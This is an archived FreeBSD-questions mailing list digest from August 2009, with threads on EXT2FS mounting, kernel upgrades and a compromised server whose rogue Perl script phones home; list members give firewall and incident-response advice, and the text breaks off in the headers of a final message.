you that the system is quota capable 2) will tell you what file system is quota capabel 3) will tell you what file system has some quota defined for some user/group, it's beyond your question. Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 11:07:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AE2C1106568D for ; Tue, 25 Aug 2009 11:07:06 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from lo.gmane.org (lo.gmane.org [80.91.229.12]) by mx1.freebsd.org (Postfix) with ESMTP id 6C5038FC21 for ; Tue, 25 Aug 2009 11:07:06 +0000 (UTC) Received: from list by lo.gmane.org with local (Exim 4.50) id 1Mftrl-0006Rl-KN for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 13:07:05 +0200 Received: from 217.31.70.82 ([217.31.70.82]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 25 Aug 2009 13:07:05 +0200 Received: from chris by 217.31.70.82 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 25 Aug 2009 13:07:05 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: chris@chrullrich.net Date: Tue, 25 Aug 2009 13:06:36 +0200 Lines: 1 Message-ID: <5cfxbgnoeb.fsf@chrullrich.net> References: <5cws4t9wdb.fsf@chrullrich.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 217.31.70.82 User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (windows-nt) Cancel-Lock: sha1:iWzms0hkwSUUn3DaPVisEfAjUuw= Sender: news Subject: Re: Problem with cURL and pipes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 11:07:06 -0000 Never mind, cURL bug. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 11:22:33 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 402131065672 for ; Tue, 25 Aug 2009 11:22:33 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id BD8B78FC08 for ; Tue, 25 Aug 2009 11:22:32 +0000 (UTC) Received: by fxm6 with SMTP id 6so1876539fxm.43 for ; Tue, 25 Aug 2009 04:22:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=NfRyN1Ghkf/O1QRcEBxHfAiCWqWlI3oLbq/zL7WrYkk=; b=rH6Hs5tzm0gGikdl1BVcTaflGPfPoeNHWD56LkPWk7+0wsoCZc6sftMFjc9CD04Y1R zl3vy2wdJMiyXjC8HeHhmz3V9qB8sxknYcK0t7Ap4pyAIitokXgjywWNIlnWt1Q7dE9d Iswg50kLWAzihWiA7BNUFEq7XkPhv2nh1Ados= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=LEiUImVJuISkSopndchuhWQBvgJXGD9i43wYJssTzJoyoj0wPGYBdQh3BN7vOEehGM 0IFaZ9097FuysJo2cVV2HYSAYSF5/KBgkLhO/SNW58o8CAcBg55HZ5XPS7y2glO39u++ E7T2utdv6hOJI0pD01AguU1JLtoW4RYPinqf0= MIME-Version: 1.0 Received: by 10.103.84.1 with SMTP id m1mr2585050mul.34.1251199351548; Tue, 25 Aug 2009 04:22:31 -0700 (PDT) In-Reply-To: <4A93C2B0.9010706@mapper.nl> References: <4A93B2C3.5040004@mapper.nl> <4A93C2B0.9010706@mapper.nl> Date: Tue, 25 Aug 2009 12:22:31 +0100 Message-ID: From: Jeronimo Calvo To: Mark Stapper Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 11:22:33 -0000 hi Mark! Im using FreeBSD 7.2-RELEASE... but im not sure about the "userland", is currently fresh installed, just compiled the KERNEL to add ext2fs support and installed the patch for the 256-inode... nothing else... But I will take your advise and upgrade my kernel to STABLE (as I think it will be funny as well, ur not the one "geek" here I suposse hahahaha) I will need to get some more knowledge about "userland"... :D Will check up ur links fella! btw, if u find anything else new-bie related... send me as well!! Cheers! 2009/8/25 Mark Stapper > Jeronimo Calvo wrote: > > Actually, im just compile it and restart it... seems to be working > > fine now... > > > > By the way... who do i do that?? is that necessary? > > > > cheers! > well, if you have the "RELEASE" source, and the "RELEASE" "userland" > there is no problem. > However if you have the "STABLE" source and the "RELEASE" userland there > could be incompatible behaviour. > Upgrading your kernel to the "STABLE" release is generally a good idea. > For more info check: > http://www.freebsd.org/doc/en/books/handbook/kernelconfig.html > and > http://www.freebsd.org/doc/en/books/handbook/synching.html > and > http://www.freebsd.org/doc/en/books/handbook/makeworld.html > Be sure to make backups, as the way to recover is very different from > Linux. > > Have fun! (Yes, I consider compiling your own kernel and userland to be > "fun") > Greetz, > Mark > > From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 11:34:21 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E70AC106568B for ; Tue, 25 Aug 2009 11:34:21 +0000 (UTC) (envelope-from stark@mapper.nl) Received: from smtp-out1.tiscali.nl (smtp-out1.tiscali.nl [195.241.79.176]) by mx1.freebsd.org (Postfix) with ESMTP id A42738FC1A for ; Tue, 25 Aug 2009 11:34:21 +0000 (UTC) Received: from [82.170.17.27] (helo=mapper.nl) by smtp-out1.tiscali.nl with esmtp (Exim) (envelope-from ) id 1MfuI8-0003OQ-7d; Tue, 25 Aug 2009 13:34:20 +0200 Received: from bowser ([192.168.0.1] helo=[0.0.0.0]) by mapper.nl with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MfuHp-0004CF-Ut; Tue, 25 Aug 2009 13:34:01 +0200 Message-ID: <4A93CC27.9000602@mapper.nl> Date: Tue, 25 Aug 2009 13:33:59 +0200 From: Mark Stapper User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Jeronimo Calvo References: <4A93B2C3.5040004@mapper.nl> <4A93C2B0.9010706@mapper.nl> In-Reply-To: X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig678AC9C593192BB7BED38456" Cc: freebsd-questions@freebsd.org Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 11:34:22 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig678AC9C593192BB7BED38456 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Jeronimo Calvo wrote: > hi Mark! > > Im using FreeBSD 7.2-RELEASE... but im not sure about the "userland", > is currently fresh installed, just compiled the KERNEL to add ext2fs > support and installed the patch for the 256-inode... nothing else... > But I will take your advise and upgrade my kernel to STABLE (as I > think it will be funny as well, ur not the one "geek" here I suposse > hahahaha) Don't forget to reapply the ext2 patch... ;-) > > I will need to get some more knowledge about "userland"... :D the userland is just the collection of base applications or "base distribution". > > Will check up ur links fella! btw, if u find anything else new-bie > related... send me as well!! Just read all the chapters listed here: http://www.freebsd.org/doc/en/books/handbook/ ;-) --------------enig678AC9C593192BB7BED38456 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkqTzCkACgkQN9xNqOOVnWBY0gCfbUmMB5d9h2hg8qC+n20kK7e2 SAsAn0TdqvDhK3TsAE7Q7dPaeFgRXFXw =QBA+ -----END PGP SIGNATURE----- --------------enig678AC9C593192BB7BED38456-- From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 12:06:24 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E0C93106568F for ; Tue, 25 Aug 2009 12:06:23 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 60DC18FC12 for ; Tue, 25 Aug 2009 12:06:23 +0000 (UTC) Received: by bwz2 with SMTP id 2so1913739bwz.43 for ; Tue, 25 Aug 2009 05:06:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=c2NM2ijE8NiBVJDYpEMxLk9aubvqWcGYAalkYSyX2uo=; b=M2kylOTf5s5lKptoypK1ARL/d7ShE1hEf2W1MPONYMD2neBHNNlfPZmK0nmQQ++I8n 7hagPew99uIEh46/fK1N6Z3urGZZShZ07yFydHur5kJbUQQsyQ9xXWhyQ/6xV8fUXLrF DUOxLYhuZPMUXSEPlCNgWWDbZ4mqYXxzFhajM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=DFkXLt7HwPJJKge3mttt/JO6ruC5Cbh/SEIymzZuZRSEhWqUbFvakZ9lYvY1pA6R+C wJbQOcliDGFB01a44H4/9ircnZjMJX+Vbcdx7u0R1ey6aGPQemLs0KU2UmF1L4uuUfn5 L8YPyyO+b3OMnKrfLoCoXe1cvr8OTp4XsEjfw= MIME-Version: 1.0 Received: by 10.102.245.20 with SMTP id s20mr2644446muh.74.1251201982203; Tue, 25 Aug 2009 05:06:22 -0700 (PDT) In-Reply-To: <4A93CC27.9000602@mapper.nl> References: <4A93B2C3.5040004@mapper.nl> <4A93C2B0.9010706@mapper.nl> <4A93CC27.9000602@mapper.nl> Date: Tue, 25 Aug 2009 13:06:22 +0100 Message-ID: From: Jeronimo Calvo To: Mark Stapper Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 12:06:24 -0000 I have as well this in the other hand: heheheh, THE BIBLE! [image: 51dtdR9r6RL._SL500_AA240_.jpg] 2009/8/25 Mark Stapper > Jeronimo Calvo wrote: > > hi Mark! > > > > Im using FreeBSD 7.2-RELEASE... but im not sure about the "userland", > > is currently fresh installed, just compiled the KERNEL to add ext2fs > > support and installed the patch for the 256-inode... nothing else... > > But I will take your advise and upgrade my kernel to STABLE (as I > > think it will be funny as well, ur not the one "geek" here I suposse > > hahahaha) > Don't forget to reapply the ext2 patch... ;-) > > > > I will need to get some more knowledge about "userland"... :D > the userland is just the collection of base applications or "base > distribution". > > > > > Will check up ur links fella! btw, if u find anything else new-bie > > related... send me as well!! > Just read all the chapters listed here: > http://www.freebsd.org/doc/en/books/handbook/ > ;-) > > From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 12:26:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4B92D1065690 for ; Tue, 25 Aug 2009 12:26:06 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id 1C3938FC15 for ; Tue, 25 Aug 2009 12:26:06 +0000 (UTC) Received: from localhost (pr40.pitbpa0.pub.collaborativefusion.com [206.210.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id 36733EBC3F; Tue, 25 Aug 2009 08:26:05 -0400 (EDT) Date: Tue, 25 Aug 2009 08:26:04 -0400 From: Bill Moran To: Colin Brace Message-Id: <20090825082604.41cad357.wmoran@potentialtech.com> In-Reply-To: <25132123.post@talk.nabble.com> References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> Organization: Bill Moran X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 12:26:06 -0000 In response to Colin Brace : > > Olivier Nicole wrote: > > > >> Am I correct in assuming that my system has been hacked and I am running > >> an > >> IRC server or something? > > > > IRC client at least. And yes, I would think that your system has been > > compromised. > > > > Thanks Olivier. > > I am currently killing the process with the following bash command while I > decide what to do next: > > $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; > done You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. In reality, good security practice says that you should have IPFW (or some other firewall) running and only allowing known good traffic right from the start, which might have protected you from this in the first place. > Is it worth first trying to determine how my system was broken into? Yes. Otherwise you'll probably just get a repeat once you've reinstalled. -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 13:16:50 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9629F106568B for ; Tue, 25 Aug 2009 13:16:50 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 6B5438FC21 for ; Tue, 25 Aug 2009 13:16:50 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1MfvtJ-0005Jm-Fx for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 06:16:49 -0700 Message-ID: <25134056.post@talk.nabble.com> Date: Tue, 25 Aug 2009 06:16:49 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <20090825082604.41cad357.wmoran@potentialtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 13:16:50 -0000 Bill Moran wrote: > > You can add an ipfw rule to prevent the script from calling home, which > will effectively render it neutered until you can track down and actually > _fix_ the problem. > > In reality, good security practice says that you should have IPFW (or some > other firewall) running and only allowing known good traffic right from > the start, which might have protected you from this in the first place. > Bill, I am surprised you would think I have no firewall. As long as I have had the server (2 years), I have had PF installed and running, and I can tell you exactly which incoming ports I have open to the net: tcp_services = "{ ssh smtp www https 4661 4662 52550 }" the last three are for edonkey and bittorrent, resp. c'est tout. There are no *obvious* weaknesses, ie, ssh is private-key only. That being said, I leave the WiFi open to everyone, with the following ports available: wifi_tcp_services = "{ ftp ssh bootps whois domain www imap imaps ntp irc https sunrpc dict nfs 2628 3689 4711 6667 6909 23398}" Should I entertain the possiblity that someone parked their car near my house and hacked in through one of the above ports? Any suggestions as to where to start looking for the breach would be most welcome; I am quite new to this game. Thanks. ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134056.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 13:30:18 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2D7E1106568C for ; Tue, 25 Aug 2009 13:30:18 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 02E2E8FC26 for ; Tue, 25 Aug 2009 13:30:17 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1Mfw6L-0005oE-Et for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 06:30:17 -0700 Message-ID: <25134277.post@talk.nabble.com> Date: Tue, 25 Aug 2009 06:30:17 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <20090825082604.41cad357.wmoran@potentialtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 13:30:18 -0000 Bill, one more thing: Bill Moran wrote: > > You can add an ipfw rule to prevent the script from calling home, which > will effectively render it neutered until you can track down and actually > _fix_ the problem. Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port 7000". OK, so I how do I know what port the script is using for outgoing traffic on MY box? 7000 is the remote host port, right? FWIW, here are my core PF lines: pass out quick on $ext_if proto 41 pass out quick on gif0 inet6 pass in quick on gif0 inet6 proto icmp6 block in log That is to say: nothing is allowed in unless explicitly allowed Everything allowed out. (plus some ipv6 stuff I was testing with a tunnel) Merci ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134277.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 13:43:00 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B0412106568B for ; Tue, 25 Aug 2009 13:43:00 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id 210F68FC32 for ; Tue, 25 Aug 2009 13:42:59 +0000 (UTC) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.2/8.14.2) with ESMTP id n7PDgplH006979; Tue, 25 Aug 2009 15:42:51 +0200 (CEST) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.14.2/8.14.2/Submit) id n7PDgpoQ006978; Tue, 25 Aug 2009 15:42:51 +0200 (CEST) (envelope-from mail25@bzerk.org) Date: Tue, 25 Aug 2009 15:42:50 +0200 From: Ruben de Groot To: Colin Brace Message-ID: <20090825134250.GA6871@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Colin Brace , freebsd-questions@freebsd.org References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <25134056.post@talk.nabble.com> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0.1 (ei.bzerk.org [127.0.0.1]); Tue, 25 Aug 2009 15:42:58 +0200 (CEST) Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 13:43:00 -0000 On Tue, Aug 25, 2009 at 06:16:49AM -0700, Colin Brace typed: > > > Bill Moran wrote: > > > > You can add an ipfw rule to prevent the script from calling home, which > > will effectively render it neutered until you can track down and actually > > _fix_ the problem. > > > > In reality, good security practice says that you should have IPFW (or some > > other firewall) running and only allowing known good traffic right from > > the start, which might have protected you from this in the first place. > > > > Bill, > > I am surprised you would think I have no firewall. As long as I have had the > server (2 years), I have had PF installed and running, and I can tell you > exactly which incoming ports I have open to the net: > > tcp_services = "{ ssh smtp www https 4661 4662 52550 }" But are you blocking any outgoing traffic? > wifi_tcp_services = "{ ftp ssh bootps whois domain www imap imaps ntp irc > https sunrpc dict nfs 2628 3689 4711 6667 6909 23398}" > > Should I entertain the possiblity that someone parked their car near my > house and hacked in through one of the above ports? That's certainly possibly. But not my first guess. > Any suggestions as to where to start looking for the breach would be most > welcome; I am quite new to this game. My guess (not much more than that) is that someone used a vulnerable web page, maybe some perl or php application that was exploitable. This because the rogue process was running as user "www". Try a find through the entire filesystem for files owned by this user that you can't account for. Also check your cron and at files under /var/cron and /var/at And try to find out what's starting the proces whith ps -alx, tracking the PPIDs. gooed hunting! From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 13:50:05 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5222B106568B for ; Tue, 25 Aug 2009 13:50:05 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id B833C8FC2B for ; Tue, 25 Aug 2009 13:50:04 +0000 (UTC) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.2/8.14.2) with ESMTP id n7PDo0nH007032; Tue, 25 Aug 2009 15:50:00 +0200 (CEST) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.14.2/8.14.2/Submit) id n7PDo0cP007024; Tue, 25 Aug 2009 15:50:00 +0200 (CEST) (envelope-from mail25@bzerk.org) Date: Tue, 25 Aug 2009 15:50:00 +0200 From: Ruben de Groot To: Colin Brace Message-ID: <20090825135000.GB6871@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Colin Brace , freebsd-questions@freebsd.org References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <25134277.post@talk.nabble.com> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0.1 (ei.bzerk.org [127.0.0.1]); Tue, 25 Aug 2009 15:50:03 +0200 (CEST) Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 13:50:05 -0000 On Tue, Aug 25, 2009 at 06:30:17AM -0700, Colin Brace typed: > > Bill, one more thing: > > > Bill Moran wrote: > > > > You can add an ipfw rule to prevent the script from calling home, which > > will effectively render it neutered until you can track down and actually > > _fix_ the problem. > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port > 7000". OK, so I how do I know what port the script is using for outgoing > traffic on MY box? 7000 is the remote host port, right? gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) It's using local port 51295. But that's irrelevant as ports for outgoing connections are dynamically allocated. > FWIW, here are my core PF lines: > > pass out quick on $ext_if proto 41 > pass out quick on gif0 inet6 > pass in quick on gif0 inet6 proto icmp6 > block in log > > That is to say: nothing is allowed in unless explicitly allowed > Everything allowed out. Which is exactly what the rogue perl script was using to connect to it's "home". Once established this connection could have been used for allmost anything, including downloading other malicious software or setting up a tunnel into your LAN. Ruben From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 14:36:36 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4B3341065690 for ; Tue, 25 Aug 2009 14:36:36 +0000 (UTC) (envelope-from prvs=481bfd290=pschmehl_lists@tx.rr.com) Received: from ip-relay-001.utdallas.edu (ip-relay-001.utdallas.edu [129.110.20.111]) by mx1.freebsd.org (Postfix) with ESMTP id 178F48FC12 for ; Tue, 25 Aug 2009 14:36:35 +0000 (UTC) X-Group: RELAYLIST X-IronPort-AV: E=Sophos;i="4.44,272,1249275600"; d="scan'208";a="16790211" Received: from smtp3.utdallas.edu ([129.110.20.110]) by ip-relay-001.utdallas.edu with ESMTP; 25 Aug 2009 09:36:30 -0500 Received: from utd65257.utdallas.edu (utd65257.utdallas.edu [129.110.3.28]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp3.utdallas.edu (Postfix) with ESMTPSA id 2ABE74E6FE; Tue, 25 Aug 2009 09:36:30 -0500 (CDT) Date: Tue, 25 Aug 2009 14:36:30 +0000 From: Paul Schmehl To: Bill Moran , Colin Brace Message-ID: In-Reply-To: <20090825082604.41cad357.wmoran@potentialtech.com> References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> X-Mailer: Mulberry/4.0.6 (Linux/x86) X-Munged-Reply-To: Figure it out MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 